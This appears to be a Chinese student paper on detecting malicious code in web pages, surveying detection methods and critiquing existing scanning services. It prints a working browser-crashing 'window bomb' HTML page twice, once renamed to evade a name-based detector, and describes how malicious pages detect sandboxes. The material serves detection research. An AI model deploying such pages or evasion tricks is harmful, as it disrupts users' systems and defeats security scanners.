摘要
随着Internet技术的广泛应用,越来越多的信息资源通过Web服务共享。目前网页浏览是互联网上使用率最高的网络服务之一,也成为了恶意代码利用的有效传播途径。网页恶意代码逐渐成为危害面最广泛、传播效果最佳的恶意代码形式之一,对信息安全构成了严重的威胁。
网页恶意代码的检测方式包括:传统方法有人工检测、基于特征码的检测、启发式检测、基于行为的检测等,这些方法都有一些局限性,无法应对新技术下的网页恶意代码。现在常用的是基于统计与特征分析并采用虚拟技术来检测网页恶意代码。但是相比于网页恶意代码的发展速度和趋势,再考虑到网页恶意代码的数量以及互联网覆盖面之广,这些检测还不足以提供绝对安全的Web环境,已经开发出来的网页恶意代码检测系统,还没有能够十分有效地遏制住恶意网页的发展,但是对于用户的安全访问网页已经有了一定程度上的提高。
本论文主要分析了一些现有的网页恶意代码检测技术以及典型的网恶意代码的攻击方法和隐藏方法,提出现有系统的不足,如北大网页挂马监测平台狩猎女神的效率问题,如知道创宇的检测覆盖面问题,在此基础之上,提出了我们自己的提升用户安全访问web的方案——即采用静态动态结合的方法保证检测效率的前提下,提升检测的准确度,给用户一个及时的检测结果。
1背景
赛门铁克公司于2008年4月9日发布的第十三期互联网安全威胁报告显示,网页已取代网络成为攻击活动的主要渠道;于2010年4月20日发布的第十五期《互联网安全威胁报告》显示,网络攻击无论在数量还是在复杂程度上都继续呈增长态势。
过去,用户只有在访问恶意网站或恶意电子邮件附件时才有可能受到感染威胁;而现在,攻击者通过利用合法站点的跨站脚本漏洞来将其作为传播介质以攻击访问这些站点的企业和个人用户,即使访问受信任的网站上也可能受到攻击,攻击者尤其针对那些终端用户长期信赖的网站,例如社交网站等。据Google公司的Neils Provos表示,在过去的一年中Google通过对互联网上几十亿页面地址进行抓取,已经发现300万个网站存在恶意软件,这意味着每打开1000个页面,就有一个是存在恶意软件的。
但相应的检测和分析技术仍然处于初始阶段,因此深入研究如何及时发现网页恶意代码并进行详细的剖析,从本质上了解它们的特性,从而采取相应防范措施,具有十分重大的意义。
2网页恶意代码攻击原理
网页恶意代码也称网页病毒,它主要是利用软件或系统操作平台等安全漏洞, 通过将Java Applet应用程序、JavaScript脚本语言程序、ActiveX嵌入在网页HTML超文本标记语言内并执行,以强行修改用户操作系统的注册表配置以及系统适用配置程序,甚至可以对被攻击的计算机进行非法控制系统资源、盗取用户文件、恶意删除硬盘中的文件、格式化硬盘等恶意操作。
随着网页恶意代码的发展,现在的网页恶意代码更加注重隐藏自己,以逃过防火墙、恶意代码检测系统的检测,而这些隐藏技术当中,加密、混淆代码技术的使用给检测带来了困难。恶意代码的传播具有以下趋势:
(1)种类更模糊
恶意代码的传播不单纯依赖软件漏洞或者社会工程中的某一种,而可能是它们的混合。比如蠕虫产生寄生的文件病毒,特洛伊程序,口令窃取程序,后门程序,进一步模糊了蠕虫、病毒和特洛伊的区别。
(2)混合传播模式
“混合病毒威胁”和“收敛(convergent)威胁”的成为新的病毒术语,“红色代码”利用的是IIS的漏洞,Nimda实际上是1988年出现的Morris 蠕虫的派生品种,它们的特点都是利用漏洞,病毒的模式从引导区方式发展为多种类病毒蠕虫方式,所需要的时间并不是很长。
(3)多平台
多平台攻击开始出现,有些恶意代码对不兼容的平台都能够有作用。来自Windows的蠕虫可以利用Apache的漏洞,而Linux蠕虫会派生exe格式的特洛伊。
(4) 使用销售技术
另外一个趋势是更多的恶意代码使用销售技术,其目的不仅在于利用受害者的邮箱实现最大数量的转发,更重要的是引起受害者的兴趣,让受害者进一步对恶意文件进行操作,并且使用网络探测、电子邮件脚本嵌入和其它不使用附件的技术来达到自己的目的。
恶意软件(malware)的制造者可能会将一些有名的攻击方法与新的漏洞结合起来,制造出下一代的WM/Concept, 下一代的Code Red, 下一代的 Nimda。对于防病毒软件的制造者,改变自己的方法去对付新的威胁则需要不少的时间。
(5)服务器和客户机同样遭受攻击
对于恶意代码来说服务器和客户机的区别越来越模糊,客户计算机和服务器如果运行同样的应用程序,也将会同样受到恶意代码的攻击。象IIS服务是一个操作系统缺省的服务,因此它的服务程序的缺陷是各个机器都共有的,Code Red的影响也就不限于服务器,还会影响到众多的个人计算机。
(6)Windows操作系统遭受的攻击最多
Windows操作系统更容易遭受恶意代码的攻击,它也是病毒攻击最集中的平台,病毒总是选择配置不好的网络共享和服务作为进入点。其它溢出问题,包括字符串格式和堆溢出,仍然是滤过性病毒入侵的基础。病毒和蠕虫的攻击点和附带功能都是由作者来选择的。另外一类缺陷是允许任意或者不适当的执行代码,随着scriptlet.typelib 和Eyedog漏洞在聊天室的传播,JS/Kak利用IE/Outlook的漏洞,导致两个ActiveX控件在信任级别执行,但是它们仍然在用户不知道的情况下,执行非法代码。最近的一些漏洞帖子报告说Windows Media Player可以用来旁路Outlook 2002的安全设置,执行嵌入在HTML 邮件中的JavaScript 和 ActiveX代码。这种消息肯定会引发黑客的攻击热情。利用漏洞旁路一般的过滤方法是恶意代码采用的典型手法之一。
(7)恶意代码类型变化
此外,另外一类恶意代码是利用MIME边界和uuencode头的处理薄弱的缺陷,将恶意代码化装成安全数据类型,欺骗客户软件执行不适当的代码。
3常用的网页恶意代码检测方法
网页恶意代码的检测方式的传统方法有人工检测、基于特征码的检测、启发式检测、基于行为的检测等,但这些方法都有一些局限性,现在常用的是基于统计与特征分析并采用虚拟技术来检测网页恶意代码。
3.1 传统方法
恶意代码的分析方法有多种类型,一般传统恶意代码分析方法分为基于代码特征的分析方法、基于语义的分析方法、基于代码行为的分析方法三种,主要的传统检测方式有:
Ø 人工检测:打开网页,点击右键查看源文件,根据网页恶意代码的种类也可以查看是否包含恶意代码,但这种方法局限性很大。
Ø 基于特征码的检测法:这是使用最广泛最古老的方法,通过提取恶意代码的样本分析采集他们的独有的特征指令序列,当检测软件扫描文件时,将当前的文件与特征码库进行对比,判断是否有文件片段与已知特征码是否匹配,这是将网页挂马的脚本按脚本病毒处理进行检测,但是网页脚本变形方式、加密方式比起传统的PE格式病毒更为多样,检测起来也更加困难。
Ø 启发式检测法:这种方法的思想是为恶意代码的特征设定一个阈值,扫描器分析,当文件的特征值类似恶意代码的特征程度,就将其看作是恶意代码。例如对于某种恶意代码,一般都会固定的调用特定的一些内核函数(尤其是那些与进程列表、注册表和系统服务列表相关的函数),通常这些函数在代码中出现的顺序也有一定的规律,因此通过对某种恶意代码调用内核函数的名称和次数进行分析。
Ø 基于行为的检测法:包括基于行为的精确匹配和模糊匹配。精确匹配主要针对一些比较直接的恶意行为,如在注册表启动项里添加项目,修改系统文件夹下的内容等。模糊匹配为主要的判别方法,大部分恶意程序在运行时调用到的API函数都是一些普通程序所用到的,但是对比一下就能发现恶意程序会以异常的频率调用某些特殊的或平时较少见得API函数,或者以某种特定组合调用相关函数,模糊匹配就是基于此点来进行判断,这种方法可与启发式检测法结合使用。
3.2 新技术
新技术通常是基于统计与特征分析并采用虚拟机技术,主要的新技术有:
Ø 客户端蜜罐技术
网页恶意代码隐藏在正常的WEB通信中,传统的基于端口的防火墙(Firewall)难以阻止它的传播,基于内容(Payload)的防火墙或入侵检测系统(IDS)可以检测已知的网页恶意代码,但网页恶意代码更新很快,混淆或加密技术应用普遍,这就使传统的安全设备不能有效地检测。为了收集潜在威胁的信息,发现新的工具,确定攻击特征,以及研究攻击者的动机,出现了蜜罐技术(honeypot),就是通过精心布置网络陷阱来吸引黑客入侵。传统的蜜罐主要指的是服务器端蜜罐,但网页恶意代码是在客户机端运行,因此,Lance Spitzner首先提出了客户端蜜罐(client-side honeypot或honeyclient)这个概念。
与传统的蜜罐不同,客户端蜜罐针对客户端软件可能存在的安全薄弱性,通过主动地开启客户端软件来访问服务器,监控有无异常行为出现,对未知恶意程序进行跟踪分析,进而达到研究学习并保障安全的目的。客户端蜜罐主要针对的是Web浏览器和E-mail客户端,因此它需要数据源,面临着如何达到大的网络覆盖面的挑战。为了解决这一点,客户端蜜罐将蜜罐和爬虫( spider)结合在一起,用爬虫爬取网络url来寻找可能存在的通过客户端软件执行的恶意软件。基本上所有种类的客户端都包含有三个连续的处理步骤:首先,将所有的待处理对象放入一个队列中,接着,客户端来请求队列中的对象,最后通过分析来确定队列中的对象是否含有恶意成分。在请求与处理对象的同时,对象队列可以被扩展。
Ø 沙盒过滤技术
网关级安全产品阻断恶意网页在技术上的一个主要问题就是如何判断一个网页是否是恶意网页。现在大多数恶意网页中的恶意代码是用JavaScript编写的,这些JavaScript通过HeapSpray技术触发本地ActiveX控件的漏洞而进行木马下载并运行,而这些恶意的JavaScript代码为了躲避检测一般都进行了混淆加密处理,如下是一段真实的恶意网页中的JavaScript代码:
在面对混淆加密后的JavaScript代码,单纯的通过关键字搜索来识别恶意网页的办法将会失效,在这种情况下最有效的办法就是通过内置的HTML以及JavaScript解析引擎在一个虚拟环境中对网页中的JavaScript进行实际的解析执行,并在解析执行过程中跟踪JavaScript代码的行为,例如创建ActiveX控件并集中大量的申请内存等,从而准确识别恶意网页。这种检测方式称为沙盒检测(Sandbox),通过这种方法理论上检测率是很高的。
但在现实实现这种检测方案时,检测程序内置的HTML以及JavaScript解析引擎有可能在功能上没有实现完整,或者一些行为与真实的浏览器有偏差,还有运行环境毕竟和真实的客户机是不同的,总之会与浏览器有或多或少这样或那样的不同,而这些不同却可以被恶意网页的编写者所利用来躲避检测程序的跟踪检查,也就是说恶意网页在运行恶意代码之前首先检查看自己是否运行在真实的浏览器中,如果不是,那它会什么都不做,这样检测程序内置的HTML以及JavaScript解析引擎将无法察觉这是一个恶意网页,因为恶意代码根本没有运行。相反,当恶意网页检查发现自己是运行在真实的浏览器中时,它便会运行恶意代码了。下面就具体介绍几种可能的方式:
1. 在DOM中,一些对象有许多别名,如:
document.location ,window.location,document.URL是等价的;
window,window.window,window.self,window.parent,window.self.self.self.self是等价的;
任一个全局变量都自动成为window的成员。
恶意网页可以利用这一点来检测自己是否运行在真实的浏览器中,如果安全产品中自己实现的JavaScript解析引擎对DOM别名的特性实现不完整的话,就可被恶意代码发现,从而让恶意网页逃过检测。
2. 通过使用 HTML <META> tag 的一些功能进行测试,已判断当前的运行环境是Sandbox还是浏览器,如meta在设定的Set-Cookie时使用了HttpOnly属性,HTML协议规定在使用了HttpOnly属性后,这个meta设定的Cookie将不能被页面中的脚本访问到,如果安全产品的JavaScript解析引擎对meta的一些特性实现不完整的话,就可能被恶意网页利用逃过检测。
3. Image对象是JavaScript的内建对象,可以通过语句var img = new Image()来创建对象,在创建Image对象后可以通过语句img.src=http://www.exist.com/a.jpg来从网络上获取图片,当浏览器遇到这句话时,会向www.exist.com发出http请求,获取图片a.jpg,如果这个图片从www.exist.com成功获取,浏览器会调用img的onload()方法,如果这个图片在www.exist.com上不存在或者www.exist.com根本就不存在,浏览器会调用img的onerror()方法,恶意网页可以利用这些特性来来判断当前的运行环境是Sandbox还是浏览器。
4. 当javascript代码中出现语法错误或者函数的无穷递归调用的错误,浏览器会调用window.onerror(),恶意网页中通过故意引入语法错误或无穷递归调用的错误来判断当前的运行环境是Sandbox还是浏览器,如果安全产品的沙盒对错误处理的实现不完整的话,例如在遇到语法错误时可能停止解析了,而没有象真实的浏览器那样去调用window.onerror,那么就可能被恶意网页利用逃过检测。
还有很多其它可以采用的方法如对Ajax的特性进行探测,对事件的处理顺序,对plug-in的测试,对同源策略的测试等都可以用来探测当前的运行环境是在浏览器里还是在沙盒里。
通过以上分析可以看出要利用沙盒检测的方式对恶意网页进行检测,很重要的一点就是对浏览器的一些关键特性要尽可能模拟。
4已有的网页恶意代码检测系统
² 风云谷
百度百科上对风云谷的描述为:风云谷网页恶意代码检测器可以检测任何网页的恶意代码,避免被网页恶意代码感染.风云谷出品,完全免费,绝无插件,绝对绿色精简。
但是事实上风云谷仅仅采用了传统的启发式检测,即检测可疑的函数调用,以及特征匹配,对于当前加密或混淆的恶意代码束手无策。又因为仅仅采用了传统的检测方法,误报率和漏报率都比较高。对于很多已经检测出来的恶意网页,交给风云谷检测出来却是安全的。
以下是对自行编写的IE视窗炸弹1.html进行的检测,可以成功检测出恶意代码。
该网页(1.html)源代码如下
<HTML>
<HEAD>
<TITLE>f\*\*k USA</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY οnlοad="WindowBomb()">
<SCRIPT LANGUAGE="javascript">
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://www.webjx.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
</script>
</BODY>
</HTML>
而修改该代码中函数名WindowBomb()改为a()如下,则无法检测出恶意代码,截图如下
修改后源代码如下
<HTML>
<HEAD>
<TITLE>f\*\*k USA</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY οnlοad="a()">
<SCRIPT LANGUAGE="javascript">
function a()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://www.webjx.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
</script>
</BODY>
</HTML>
可见风云谷的检测只是基于调用的函数名,如果函数名是个恶意的函数名如WindowBomb(视窗炸弹)则会报警,然而对于普通函数名如a则不会提示。这样误报率很高。
² 狩猎女神
http://ercis.icst.pku.edu.cn/
基于先进的“云计算”和SaaS服务理念进行架构,使用大规模计算集群构成“云计算”平台,集中进行Web网页挂马监测,代替传统反病毒软件在“端”上的安全计算;通过SaaS理念向Web网站运营者和网民提供网站挂马监测服务。采用受控客户端蜜罐环境中的动态行为结果判定技术对网页木马进行精确检测,并结合北大天网搜索引擎网页爬虫及权值评定技术、轻量级并行化沙箱以及流水线并行处理调度机制,充分发挥计算集群的最大效能,以达到在受限资源条件下实现大规模的网页挂马威胁监测与追溯。
采用北大天网搜索引擎的网页爬虫和权值评定技术,高效爬取万维网上最为重要的网站及页面链接,在资源受限的情况下,将宝贵的计算效能用于监测网民最常访问的网站页面;基于自主创新研发的特色技术——轻量级并行化沙箱,在同一计算单元上创建多个相互隔离的客户端蜜罐环境,进行网页挂马检测,轻量级并行化沙箱较传统沙箱具有资源消耗小、高并发度的优势,能够充分发挥计算资源的最大效能,提升“云计算”平台中计算资源的利用率;通过流水线并行处理调度机制灵活调度多级检测模块的计算资源分配,达到计算资源的充分利用。
但是,该系统的实际运行效率很差,如对http://www.hust.edu.cn进行检测,长达数小时停留在下面的页面中,无法给出检测结果(浏览器未提示无法响应)。
² 知道创宇
http://www.knownsec.com/indexzh.html
系统基于云安全技术,采用大量模拟用户上网真实计算机环境的蜜罐集群系统,每天使用IE浏览器主动访问中国数百万网站,在访问过程中记录网站页面的行为,当某网页试图执行程序、下载可执行文件等敏感操作时判别其为恶意网站,最终形成每天更新的动态中国恶意网站数据库。因使用行为识别技术,系统不关心是什么恶意网站样本、不关心利用了什么漏洞、不关心使用了何种木马,系统只关心最终导致了什么行为。因此能够有效的识别未知挂马。
该系统能够对网站是否恶意进行区分,维护一个不断更新的挂马网站名单,指导网民上网时避开当前恶意网站,不再受到挂马网站威胁。
下面是对www.hust.edu.cn的检测,运行时间很短。
但是该系统返回的结果是以前检测的结果,而不是实时检测的,因而不能表明现在的网站是安全的,而且对于用户大面积的访问,不一定能够给出检测结果,如对http://naxk.com/NaxkPlay/Naxk_190557.htm的检测:
下面是对“笑话居”网站的检测:
5我们的解决方法
鉴于风云谷等传统的检测方法准确率不高,狩猎女神实时检测的效率太低,以及知道创宇无法进行实时检测也无法对用户所有的检测提供结果的问题,我们提出了采用传统检测与新技术相结合的方法提供实时监测,以保证用户能够及时得到检测结果。
从前面对狩猎女神和知道创宇的介绍中可以看出,这两个系统都采用了在虚拟机中模拟真实的环境访问页面,基于行为给出检测结果的方法,可以给出应对当前的新技术下的网页恶意代码,但是新技术的检测在效率方面远不及传统检测,如风云谷,从而导致服务器无法及时给出结果。而知道创宇采用了给出已有的检测结果避开了效率瓶颈,但是带来了时效性和覆盖面方面的问题。
传统检测与新技术相结合的系统,在用户提交url后,查询本地数据库是否对该网页有记录,该网页是否更新,如果存在并且没有更新,则直接返回结果,否则爬取该url对应的页面,进行启发式检测(即进行字符串匹配,找出可疑的网页),并将跳转网页一并爬去到本地进行检测,如果有嫌疑(调用了可疑的函数或进行了加密或混淆),再交给采用新技术实现的检测。
由于大量的页面是安全的,加之传统的启发式检测效率很高,因而可以大大减轻服务器的负担,从而提高检测的效率,给用户及时的检测结果。
6结论及体会
感觉网页恶意代码检测技术发展很快,以前只是纯粹基于特征码检测或行为检测等,现在已经融合了虚拟机技术(如蜜罐和沙盒),并可通过爬虫技术来搜索网页并下载源码,这是技术的进步,同时也从反映出黑客们编写恶意代码的技术也在提高,代码的隐蔽性更强了。网页恶意代码的在隐藏技术上的发展给传统的检测当头一棒,新的基于行为的检测技术给出了解决方案,但是前者在互联网环境下潜伏在数以亿计的网页当中,给防御带来了难题。因而如何高效地准确的检测网页恶意代码,仍然有很长的路要走。而当前的技术,必须进行多种技术的融合,才能比较有效的应对当前网络环境下的网页恶意代码。
同时,网民们也应该提高对网页恶意代码的警惕性,使用安全浏览器、防火墙、杀毒软件或网页检测工具等安全软件,使得恶意网页能及时被发现阻止,减少其传播。另外要避免中招,关键是不要轻易去一些自己并不了解的站点,特别是那些看上去美丽诱人的网址更不要贸然前往,否则吃亏的往往是自己。